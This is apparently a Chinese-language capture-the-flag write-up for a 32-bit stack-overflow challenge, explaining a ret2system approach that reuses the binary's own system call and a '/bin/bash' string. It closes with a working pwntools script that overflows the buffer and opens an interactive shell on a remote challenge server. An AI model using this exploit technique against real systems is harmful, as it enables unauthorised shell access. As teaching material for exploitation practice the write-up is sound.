这道题对我来说有点新奇,它利用了程序中自带的system
程序,和字符/bin/bash
构造了一个后门函数让我们看看是怎么做的吧
首先和程序进行交互:
发现是一个读取输入相关的程序,我们对其进行分析,首先用checksec
检测到了NX保护,但是没关系。我们再用IDA进行程序的分析:
我们看到了这里的read函数,由于它读取的数据大于,缓冲区可以存储的数据,我们可以利用它实现栈溢出攻击
但是程序中并没有为我们构造后门函数,但是我们分别发现了系统调用命令,和hint
,我们可以用他们实现构造后门函数
我的构造思路大致是这样的:
- 栈溢出覆盖原函数返回地址
- 添加
system
的返回地址 - 调用
hint
命令/bin/bash
由此我们可以构造下面的攻击脚本:
from pwn import *
sys_addr = 0x804845C
bin_addr = 0x804A024
payload = b'a'*(0x88+4)+p32(sys_addr)+p32(bin_addr)
p = remote("node5.buuoj.cn",25717)
p.recvuntil('t:\n') #当服务器输出以下内容时,再发送攻击脚本
p.sendline(payload)
p.interactive()